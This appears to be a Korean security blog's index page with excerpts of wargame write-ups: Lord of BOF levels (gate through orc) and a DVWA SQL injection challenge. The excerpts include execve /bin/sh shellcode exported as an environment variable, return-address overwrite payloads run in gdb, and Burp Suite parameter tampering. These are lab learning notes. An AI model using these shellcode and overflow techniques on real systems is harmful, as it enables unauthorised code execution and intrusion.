본문 바로가기

goblin->orc 시험기간 & 걍 휴식으로 인해 너무 오래 쉬었지만 마침 계절학기 교양이 핵노잼이어서 다시 시작ㅋ문제다.memset을 이용하여 계속 환경변수를 초기화시킨다. 근데 여태 몰랐는데 문제 상단에 주석으로 힌트가 달리는거같다..... 이래서 문제를 잘 읽어야 하는데..........ㅋ 기말도 문제 제대로 안읽어서 망했으면섴ㅋㅋㅋ문제자체에도 egghunter라 써있는걸 보면 환경변수를 이용할 수 없는거같다.argv[1][47]에 \xbf가 들어가야된단다. canary인거같다. 문제가 쫌 긴만큼 다시 정리해보자면1. 전역변수로 환경변수들을 선언 -> 0으로 초기화2. buffer의 size는 40, int i의 사이즈 4 합하면 44..3. canary값 존재 먼저 tmp폴더에 orc파일을 옮기고 gdb로 실행해봤는.. 더보기
cobolt -> goblin 문제 소스다. gremlin -> cobolt 풀때와 크게 다르지 않지만,buff[16]에 gets 함수를 이용하여 입력받는다.그리고 buffer를 출력한다. gremlin문제와 크게 다를 거 없어서 바로 시작했다. 우선 환경변수에 export를 이용하여 SHELLCODE를 등록하고, SHELLCODE의 주소값을 넣어 ret를 변경 시키겠다. export SHELLCODE=$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"') 쉘코드 등록. export한 SHELLCODE의 주소는 저번에 작성한 c 파일로 주소를 확인한다. 0xbffffec.. 더보기
gremlin->cobolt gremlin->cobolt cobolt 문제다.버퍼의 사이즈가 16byte로 사이즈가 작다..그렇다면 환경변수를 이용하여 shellcode를 넣어보자 export SHELLCODE=$(python -c 'print \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"') 하고 env 명령어로 보면 잘들어가있다.그럼 이 환경변수에 등록된 쉘코드의 주소값을 알아보자.소스는 간단하게 c로.. #include int main(void){printf("%p\n",getenv("SHELLCODE")); return 0;} 후 컴파일 해주면 됐당 그렇다면buffer(16byte) = NO.. 더보기
gate->gremlin LOB gate->gremlin 문제다. telnet으로 접속하면 gate / gate 접속하면 gremlin문제와 소스가 있다.간단하다. 입력을 받아서 buffer에다가 strcpy를 한다.gdb를 까기전에.. 현재 setuid상태로 gdb로 안된다.고로 cp gremlin /tmp로 tmp에 옮겨서 해보자. 먼저 사이즈를 0x100*(256)만큼 esp에 할당해준다. buffer(256) SFP(4) ret(4) 이형태이니 buffer와 sfp를 덮어씌우고 ret에 주소를 변조하여 eip가 미쳐 날뛰게 조작하자. b p를 strcpy가 실행된 다음인 *main+59에 걸어주자 먼저 A를 256개 넣어주고 BBBB를 넣어주자. r `python -c 'print "A"*256+"BBBB"'` 입력이 잘.. 더보기
SQL Injection(Medium) 문제 sql injection인데... 입력란이 없다..... 숫자를 선택하고 submit해보니까.. 뜬다.. 소스를보자 입력란도 없는데 escape한다.......뭐지..심지어 값도 post로 넘어간다.. burp suite를 켜보자..넘어가는 값을 intercept 해보니 오호라.. id값을 조작해보자. 요로코롬 결과는 성공...union select 이용해서 db값 뺴는건 low에서도 했으니......... skip.. low와 medium의 차이는 input을 통해서 하느냐 burp suite를 이용해 파라미터 변조를 하냐의 차이인듯끝~ 더보기